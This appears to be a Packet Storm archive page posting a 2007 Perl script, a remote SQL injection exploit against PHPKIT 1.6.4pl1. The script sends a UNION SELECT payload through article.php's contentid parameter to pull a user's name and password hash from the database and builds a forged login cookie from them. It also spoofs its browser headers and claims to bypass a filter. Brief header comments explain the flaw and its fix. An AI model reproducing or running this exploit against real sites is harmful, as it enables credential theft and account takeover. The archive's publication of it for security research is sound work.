the internet's safety

phpkit-sql.txt

phpkit-sql.txt
Posted Nov 27, 2007
Authored by shadowleet

PHPKIT version 1.64pl1 remote SQL injection exploit that makes use of article.php.

tags | exploit, remote, php, sql injection
MD5 | 58d938ba5d0fea7bdd76cde9a4944636

phpkit-sql.txt

Change Mirror Download
#!/usr/bin/perl
# Vulnerability found & exploit written by $h4d0wl33t (shadowleet)
# Contact: shadowleet@safe-mail.net
# Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet,
# Description:
# Vulnerability in file pkinc/public/article.php
# On line 71:
#
# $contentid=(!$contentid && isset($_REQUEST['contentid'])
# && intval($_REQUEST['contentid'])>0) ? $_REQUEST['contentid'] : $contentid;
#
# $contentid gets initialized normal but not going through safe function $sql->f in sql statement
#
# Use in sql statement:
# $contentinfo=$DB->fetch_array($DB->query
# ("SELECT * FROM ".$db_tab['content']." where content_id='".$contentid."' LIMIT 1"))
#
# Security fix:
# Replace:
# && intval($_REQUEST['contentid'])>0) ? $_REQUEST['contentid'] : $contentid;
# with :
# && intval($_REQUEST['contentid'])>0) ? intval($_REQUEST['contentid']) : $contentid;
#
# Conditions:
# 1. Magic_quotes needs to be off
# 2. There must be any articles in the database.
# Have fun :)
#_________________________________________________
use LWP;
use HTTP::Request;
use Getopt::Long;

sub header
{
print "\n";
print " ###################################################\n";
print " #Phpkit 1.6.4pl1 Non Public Exploit by \$hadowleet #\n";
print " # + Hackblock 2007 bypass #\n";
print " ###################################################\n";
print "\n";
}
sub usage
{
print "-------------------------------------------------------------------------------------\n";
print "| Usage: |\n";
print "| exploit.pl |\n";
print "| -url [URL] (http://phpkit.de |\n";
print "| -uid [userid] (1) |\n";
print "| -pre [databaseprefix] (phpkit) |\n";
print "| -p [proxy] (http://proxyip:port) |\n";
print "| |\n";
print "| Example: |\n";
print "| exploit.pl -url http://phpkit.de/ -cat 2 -uid 1 -pre phpkit |\n";
print "| |\n";
print "| Or for standard Values: |\n";
print "| exploit.pl -url http://phpkit.de/ |\n";
print "| |\n";
print "| You need a valid category id, you can get it when you open the link |\n";
print "| http://page.de/include.php?path=contentarchive&type=1 |\n";
print "| and click on one article, then read in the url the catid number and use it |\n";
print "| Standard value for catid is 2 |\n";
print "-------------------------------------------------------------------------------------\n";
}

my %parameter = ();
GetOptions(\%parameter, "url=s", "uid=i", "pre=s", "p=s", "cat=i");
$url = $parameter{"url"};
$uid = $parameter{"uid"};
$cat = $parameter{"cat"};
$prefix = $parameter{"pre"};
$proxy = $parameter{"p"};
if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url."/";}
if($url !~ /http:\/\//){$url = "http://".$url;}
if($proxy)
{
if($proxy !~ /http:\/\//){die ("Proxy format must be: \"http://ip:port\"\n");}
}
if(!$cat){$cat = 2;}
if(!$uid){$uid = 1;}
if(!$prefix){$prefix = "phpkit";}
$bugfile = "include.php?path=article";
$sqlinjection = "9999999999'/**/UnIoN/**/SeLeCt/**/1,".$cat.",3,CoNcAt('Login:',user_name),5,CoNcAt('Password:',user_pw),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FrOm/**/".$prefix."_user/**/WhErE/**/user_id=".$uid."/*--";
$poststring = "contentid=".$sqlinjection;
$imgcode = 0;

sub Exploit()
{
$requestpage = $url.$bugfile;
print "Requesting Page: ".$requestpage."\n";
my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
if($proxy){$ua->proxy( 'http', $proxy );}
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("http://www.deinemudda.de");
$req->content_type('application/x-www-form-urlencoded');
$contlen = length($poststring);
$req->header("content-length" => $contlen);
$req->content($poststring);
$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();
#Debug Modus delete # at beginning of next line
#print $content;
@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<\/a>/,$name);
$name = @name[0];
@password = split(/Password:/,$content);
$password = @password[1];
@password = split(/<\/font>/,$password);
$password = @password[0];
if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed, ~Magic quotes on~ or article id doesn't exists, just read usage!\n\n";
exit;
}
print "Data:\n";
print "-----------------------------------------------------\n";
print "Name: " .$name."\n";
print "Password: " .$password."\n\n";
print "Logincookie->:\nuser_id%3E".$uid."%2Cuser_name%3E".$name."%2Cuser_pw%3E".$password."\n\n";
print "-----------------------------------------------------\n";
print "Enjoy the day :)\n";
}
#Starting
print "\n\nExploiting...\n";
Exploit();
#End
#Copyright by $h4d0wl33t 2007


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close